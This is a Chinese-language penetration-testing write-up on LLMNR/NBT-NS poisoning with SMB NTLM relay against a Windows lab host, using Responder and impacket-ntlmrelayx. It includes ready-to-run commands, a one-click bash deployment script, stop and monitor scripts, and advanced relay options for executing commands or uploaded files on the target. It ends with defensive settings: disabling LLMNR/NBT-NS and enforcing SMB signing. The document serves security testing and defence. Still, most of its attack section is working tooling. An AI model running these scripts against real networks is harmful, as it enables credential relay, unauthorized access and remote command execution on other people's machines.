背景
在内网渗透测试中,发现目标 Windows 主机存在以下配置问题:
SMB 签名未强制
LLMNR/NBT-NS 协议开放
这为 LLMNR/NBT-NS 投毒 + SMB 中继攻击提供了条件。
一、漏洞原理
1.1 什么是 LLMNR 和 NBT-NS?
当用户在 Windows 中访问网络资源(如 \\server\share)时,系统会按以下顺序解析主机名:
优先级
协议
端口
说明
1
DNS
53/TCP,UDP
首选的名称解析方式
2
LLMNR
5355/UDP
DNS 失败后的链路本地多播解析
3
NBT-NS
137/UDP
更传统的 NetBIOS 名称解析
关键点 :如果 DNS 查询失败,Windows 会向整个局域网广播 LLMNR/NBT-NS 请求,询问"谁知道这个主机的 IP?"
1.2 攻击原理图解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 正常流程: 用户访问 \\wrong-server\share ↓ DNS 查询 → 失败 ↓ LLMNR 广播 → 无响应 ↓ 返回错误: 找不到主机 攻击流程: 用户访问 \\wrong-server\share ↓ DNS 查询 → 失败 ↓ LLMNR 广播 ──────────────────┐ ↓ │ ┌──────────────────────────┘ ▼ 攻击机 (Responder) 响应: "我是 wrong-server, 我的 IP 是 [攻击机IP]" ↓ 目标信以为真, 连接到攻击机的 SMB 服务 ↓ 发送 NTLM 认证凭据给攻击机 ↓ ntlmrelayx 接收凭据并中继到真实目标
1.3 为什么能成功?
条件
说明
SMB 签名未强制
允许中继 NTLM 认证(如果启用签名则无法中继)
LLMNR/NBT-NS 开放
允许响应欺骗性的名称解析
同网段
攻击机能收到广播包
用户触发
用户访问不存在的网络路径
二、环境说明
2.1 测试环境
角色
系统
说明
攻击机
Kali Linux
运行 Responder + ntlmrelayx
目标机
Windows 10
内网测试靶机
2.2 使用工具
工具
用途
Responder
LLMNR/NBT-NS/MDNS 投毒器
ntlmrelayx (Impacket)
SMB/HTTP NTLM 中继工具
三、攻击步骤
3.1 准备工作:修改 Responder 配置
Responder 默认会启动 SMB 和 HTTP 服务器,这与 ntlmrelayx 冲突。需要先关闭:
1 2 3 4 5 6 7 nano /etc/responder/Responder.conf SMB = Off HTTP = Off HTTPS = Off
3.2 启动 ntlmrelayx(中继服务器)
1 2 screen -dmS relay bash -c 'impacket-ntlmrelayx -t <目标IP> -smb2support -of /tmp/ntlmrelayx_out 2>&1 | tee /tmp/ntlmrelayx.log'
参数解释:
参数
作用
-t <目标IP>
中继认证的目标地址
-smb2support
支持 SMB 2/3 协议
-of <目录>
输出文件保存目录
验证启动成功:
1 2 3 4 5 6 7 8 ps aux | grep ntlmrelayx netstat -tlnp | grep ':445 ' tail -f /tmp/ntlmrelayx.log
预期输出:
1 2 3 4 5 [*] Setting up SMB Server # 监听 TCP 445 [*] Setting up HTTP Server # 监听 TCP 80 [*] Setting up WCF Server # 监听 TCP 9222 [*] Setting up RAW Server # 监听 TCP 6666 [*] Servers started, waiting for connections
3.3 启动 Responder(投毒器)
1 nohup responder -I eth0 -wd 2>&1 > /tmp/responder.log &
参数解释:
参数
作用
-I eth0
监听的网卡接口
-w
启用 WPAD 投毒(可捕获浏览器代理请求)
-d
强制分析模式(始终响应)
验证启动成功:
1 2 3 4 5 6 7 8 ps aux | grep Responder netstat -ulnp | grep -E '(137|138|5355)' tail -f /usr/share/responder/logs/Responder-Session.log
3.4 等待触发条件
部署完成后,攻击进入等待阶段。需要目标主机主动触发名称解析请求:
触发场景
示例
访问错误的共享路径
\\wrong-server\share
连接不存在的主机
\\fake-pc\ipc$
引用错误的打印服务器
\\old-printer
脚本/程序访问错误地址
配置文件中的错误主机名
监控命令:
1 2 3 4 5 6 7 8 9 10 11 12 watch -n 2 ' echo "=== NTLMRELAYX ===" tail -15 /tmp/ntlmrelayx.log echo "" echo "=== RESPONDER ===" tail -10 /tmp/responder.log ' sqlite3 /usr/share/responder/Responder.db "SELECT * FROM Poisoned ORDER BY timestamp DESC LIMIT 20;" sqlite3 /usr/share/responder/Responder.db "SELECT * FROM responder;"
四、攻击结果分析
4.1 成功的投毒日志
当目标主机触发名称解析时,Responder 会记录:
1 2 3 [*] [LLMNR] Poisoned answer sent to <目标IP> for name wrong-server [*] [NBT-NS] Poisoned answer sent to <目标IP> for name WRONG-SERVER (service: File Server) [*] [MDNS] Poisoned answer sent to <目标IP> for name wrong-server.local
4.2 中继连接日志
当目标连接到攻击者的 SMB 服务并发送认证时:
1 2 [*] SMBD-Thread-5: Received connection from <目标IP>, attacking target smb://<目标IP> [-] Authenticating against smb://<目标IP> as <域>\<用户名> FAILED
4.3 结果分析
本次测试中捕获到的关键信息:
项目
内容
连接来源
目标主机主动连接
认证类型
SMB NTLM 认证
账户类型
Microsoft 在线账户
认证失败原因 :Microsoft 在线账户需要连接云端验证,无法通过本地 SMB 协议完成认证。
重要结论 :如果目标是本地账户 (如 WORKGROUP\user),此攻击将直接获取系统权限!
4.4 如果成功的样子
当中继认证成功时,ntlmrelayx 会输出:
1 2 3 4 5 6 7 8 9 10 11 [+] Authenticating against smb://<目标IP> as <域>\<用户名> SUCCESS! [*] SMBv3.0 signed detected [+] Dumping info from target SMB [+] Retrieving domain SID... S-1-5-21-xxxxxxxxxx [+] Enumerating Shares [+] Share: ADMIN$ [+] Share: C$ # 可以执行命令! [+] Executing command: whoami <域名>\<用户名>
此时已获得目标的 SMB 访问权限,可以:
列举共享文件夹
上传/下载文件
执行系统命令(取决于权限级别)
五、完整攻击脚本
5.1 一键部署脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #!/bin/bash set -eRED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' NC='\033[0m' if [ $# -lt 1 ]; then echo -e "${RED} [!] 用法: $0 <目标IP> [网卡接口]${NC} " echo " 示例: $0 192.168.0.100 eth0" exit 1 fi TARGET="$1 " INTERFACE="${2:-eth0} " LOG_DIR="/tmp" RESPONDER_CONF="/etc/responder/Responder.conf" echo -e "${BLUE} [*] LLMNR/NBT-NS 投毒 + SMB 中继攻击${NC} " echo -e "${BLUE} [*] 目标: ${TARGET} ${NC} " echo -e "${BLUE} [*] 网卡: ${INTERFACE} ${NC} " echo "" if [ "$EUID " -ne 0 ]; then echo -e "${RED} [!] 请使用 root 权限运行!${NC} " exit 1 fi echo -e "${YELLOW} [+] Step 1: 修改 Responder 配置...${NC} " cp "$RESPONDER_CONF " "${RESPONDER_CONF} .bak.$(date +%Y%m%d%H%M%S) " sed -i 's/^SMB = On/SMB = Off/' "$RESPONDER_CONF " sed -i 's/^HTTP = On/HTTP = Off/' "$RESPONDER_CONF " sed -i 's/^HTTPS = On/HTTPS = Off/' "$RESPONDER_CONF " echo -e "${GREEN} [✓] Responder 配置已修改 (SMB/HTTP/HTTPS 已关闭)${NC} " echo "" echo -e "${YELLOW} [+] Step 2: 清理环境...${NC} " pkill -9 -f responder 2>/dev/null || true pkill -9 -f ntlmrelayx 2>/dev/null || true screen -S relay -X quit 2>/dev/null || true fuser -k 445/tcp 2>/dev/null || true fuser -k 80/tcp 2>/dev/null || true fuser -k 6666/tcp 2>/dev/null || true sleep 2echo -e "${GREEN} [✓] 环境清理完成${NC} " echo "" echo -e "${YELLOW} [+] Step 3: 启动 ntlmrelayx...${NC} " screen -dmS relay bash -c "impacket-ntlmrelayx -t $TARGET -smb2support -of ${LOG_DIR} /ntlmrelayx_out 2>&1 | tee ${LOG_DIR} /ntlmrelayx.log" sleep 4if pgrep -f ntlmrelayx > /dev/null; then echo -e "${GREEN} [✓] ntlmrelayx 启动成功${NC} " else echo -e "${RED} [✗] ntlmrelayx 启动失败,检查日志: ${LOG_DIR} /ntlmrelayx.log${NC} " exit 1 fi echo "" echo -e "${YELLOW} [+] Step 4: 启动 Responder...${NC} " nohup responder -I $INTERFACE -wd 2>&1 > ${LOG_DIR} /responder.log &sleep 3if pgrep -f "Responder.py" > /dev/null; then echo -e "${GREEN} [✓] Responder 启动成功${NC} " else echo -e "${RED} [✗] Responder 启动失败,检查日志: ${LOG_DIR} /responder.log${NC} " exit 1 fi echo "" echo -e "${YELLOW} [+] Step 5: 验证部署状态...${NC} " echo "" echo -e "${BLUE} === 进程状态 ===${NC} " ps aux | grep -E '(ntlmrelayx|Responder)' | grep -v grep | awk '{print " " $11 " (PID: " $2 ")"}' echo "" echo -e "${BLUE} === 端口监听 ===${NC} " netstat -tlnp 2>/dev/null | grep -E ':(445|80|6666) ' | awk '{print " TCP " $4 " → " $7}' || echo " (无法获取端口信息)" netstat -ulnp 2>/dev/null | grep -E ':(137|138|5355) ' | awk '{print " UDP " $4 " → $7}' || echo " (无法获取端口信息)" echo "" echo -e "${GREEN} =========================================${NC} " echo -e "${GREEN} [✓] 攻击部署完成! 等待目标触发请求...${NC} " echo -e "${GREEN} =========================================${NC} " echo "" echo -e "${YELLOW} 监控命令:${NC} " echo " 查看中继日志: tail -f ${LOG_DIR} /ntlmrelayx.log" echo " 查看投毒日志: tail -f /usr/share/responder/logs/Responder-Session.log" echo " 实时监控: watch -n 2 'tail -15 \${LOG_DIR}/ntlmrelayx.log && echo === && tail -10 \${LOG_DIR}/responder.log'" echo "" echo -e "${YELLOW} 停止攻击:${NC} " echo " bash stop_attack.sh"
5.2 停止攻击脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #!/bin/bash RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' RESPONDER_CONF="/etc/responder/Responder.conf" echo -e "${YELLOW} [+] 停止攻击服务...${NC} " pkill -9 -f responder 2>/dev/null && echo -e "${GREEN} [✓] Responder 已停止${NC} " || echo -e "${YELLOW} [-] Responder 未运行${NC} " pkill -9 -f ntlmrelayx 2>/dev/null && echo -e "${GREEN} [✓] ntlmrelayx 已停止${NC} " || echo -e "${YELLOW} [-] ntlmrelayx 未运行${NC} " screen -S relay -X quit 2>/dev/null && echo -e "${GREEN} [✓] Screen 会话已关闭${NC} " || true fuser -k 445/tcp 2>/dev/null || true fuser -k 80/tcp 2>/dev/null || true fuser -k 6666/tcp 2>/dev/null || true sleep 1if [ -f "${RESPONDER_CONF} .bak." * ]; then LATEST_BACKUP=$(ls -t ${RESPONDER_CONF} .bak.* 2>/dev/null | head -1) if [ -n "$LATEST_BACKUP " ]; then cp "$LATEST_BACKUP " "$RESPONDER_CONF " echo -e "${GREEN} [✓] Responder 配置已恢复${NC} " fi else sed -i 's/^SMB = Off/SMB = On/' "$RESPONDER_CONF " sed -i 's/^HTTP = Off/HTTP = On/' "$RESPONDER_CONF " sed -i 's/^HTTPS = Off/HTTPS = On/' "$RESPONDER_CONF " echo -e "${GREEN} [✓] Responder 配置已恢复${NC} " fi echo "" echo -e "${GREEN} [✓] 攻击环境已清理${NC} "
5.3 实时监控脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #!/bin/bash RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' CYAN='\033[0;36m' NC='\033[0m' while true ; do clear echo -e "${BLUE} ╔══════════════════════════════════════╗${NC} " echo -e "${BLUE} ║ LLMNR/NBT-NS 攻击实时监控 ║${NC} " echo -e "${BLUE} ╚══════════════════════════════════════╝${NC} " echo "" echo -e "${CYAN} [$(date '+%Y-%m-%d %H:%M:%S') ]${NC} " echo "" echo -e "${YELLOW} ┌─ 进程状态 ───────────────────────────┐${NC} " if pgrep -f ntlmrelayx > /dev/null; then echo -e " ${GREEN} ● ntlmrelayx: 运行中 (PID: $(pgrep -f ntlmrelayx | head -1) )${NC} " else echo -e " ${RED} ● ntlmrelayx: 未运行${NC} " fi if pgrep -f "Responder.py" > /dev/null; then echo -e " ${GREEN} ● Responder: 运行中 (PID: $(pgrep -f Responder.py | head -1) )${NC} " else echo -e " ${RED} ● Responder: 未运行${NC} " fi echo -e "${YELLOW} └──────────────────────────────────────┘${NC} " echo "" echo -e "${YELLOW} ┌─ NTLMRELAYX 日志 (最近20行) ──────────┐${NC} " if [ -f /tmp/ntlmrelayx.log ]; then tail -20 /tmp/ntlmrelayx.log 2>/dev/null | sed 's/^/ /' else echo " (日志文件不存在)" fi echo -e "${YELLOW} └──────────────────────────────────────┘${NC} " echo "" echo -e "${YELLOW} ┌─ RESPONDER 日志 (最近10行) ──────────┐${NC} " if [ -f /tmp/responder.log ]; then tail -10 /tmp/responder.log 2>/dev/null | sed 's/^/ /' else echo " (日志文件不存在)" fi echo -e "${YELLOW} └──────────────────────────────────────┘${NC} " echo "" echo -e "${YELLOW} ┌─ 数据库统计 ─────────────────────────┐${NC} " if command -v sqlite3 &> /dev/null; then POISONED=$(sqlite3 /usr/share/responder/Responder.db "SELECT COUNT(*) FROM Poisoned;" 2>/dev/null || echo "0" ) HASHES=$(sqlite3 /usr/share/responder/Responder.db "SELECT COUNT(*) FROM responder;" 2>/dev/null || echo "0" ) echo " 投毒记录数: $POISONED " echo " 哈希捕获数: $HASHES " else echo " (sqlite3 不可用)" fi echo -e "${YELLOW} └──────────────────────────────────────┘${NC} " echo "" echo -e "${CYAN} (按 Ctrl+C 退出监控)${NC} " sleep 3 done
5.4 高级配置选项
自定义 ntlmrelayx 参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 impacket-ntlmrelayx -t <目标IP> -smb2support impacket-ntlmrelayx -t <目标IP> -smb2support -c "whoami" impacket-ntlmrelayx -t <目标IP> -smb2support -e local_file.txt impacket-ntlmrelayx -t <目标IP> -smb2support --enum-local-admins impacket-ntlmrelayx -t <目标IP> -smb2support -socks impacket-ntlmrelayx -tf targets.txt -smb2support
Responder 高级参数
1 2 3 4 5 6 7 8 9 10 11 12 responder -I eth0 -wd --resp <允许响应的IP> DontRespondToName = NAC,IPS,IDS responder -I eth0 -wd --ip <伪造IP> responder -I eth0 -wd --lm <16进制Challenge>
5.5 快速命令参考
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 bash deploy.sh <目标IP> bash monitor.sh bash stop.sh sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf screen -dmS relay impacket-ntlmrelayx -t <IP> -smb2support nohup responder -I eth0 -wd &tail -f /tmp/ntlmrelayx.logtail -f /usr/share/responder/logs/Responder-Session.log sqlite3 /usr/share/responder/Responder.db "SELECT * FROM responder;" sqlite3 /usr/share/responder/Responder.db "SELECT * FROM Poisoned;" fuser -k 445/tcp; fuser -k 80/tcp pkill -9 -f ntlmrelayx; pkill -9 -f responder screen -r relay screen -S relay -X quit
六、防御措施
6.1 禁用 LLMNR/NBT-NS(推荐)
组策略方式:
1 2 计算机配置 → 管理模板 → 网络 → DNS 客户端 → 关闭 LLMNR 上的多播名称解析 → 已启用
注册表方式:
1 2 3 4 5 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticastResolver" -Value 0 -Type DWordSet-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\Interfaces" -Name "NetbiosOptions" -Value 2 -Type DWord
6.2 启用 SMB 签名
1 2 3 计算机配置 → Windows 设置 → 安全设置 → 本地策略 → 安全选项 → Microsoft 网络客户端: 数字签名通信(始终) → 已启用 → Microsoft 网络服务器: 数字签名通信(始终) → 已启用
6.3 其他建议
措施
效果
最小化服务暴露
关闭不必要的端口和服务
网络分段
隔离不可信设备到独立 VLAN
账户安全
使用强密码,禁用空会话
七、总结
7.1 攻击链验证结果
1 2 3 ✅ LLMNR/NBT-NS 投毒 → ✅ 目标接收欺骗响应 → ✅ 建立 SMB 连接到攻击者 → ✅ NTLM 认证被捕获 → ⚠️ 中继认证(在线账户无法本地验证)
7.2 关键要点
攻击前提 :SMB 签名未强制 + LLMNR/NBT-NS 开放
触发条件 :用户访问不存在的网络路径
防御核心 :禁用 LLMNR/NBT-NS 或启用 SMB 签名
实际风险 :内网环境中此类配置很常见,容易被利用
7.3 参考资源
本文仅用于安全研究和授权渗透测试,请遵守相关法律法规。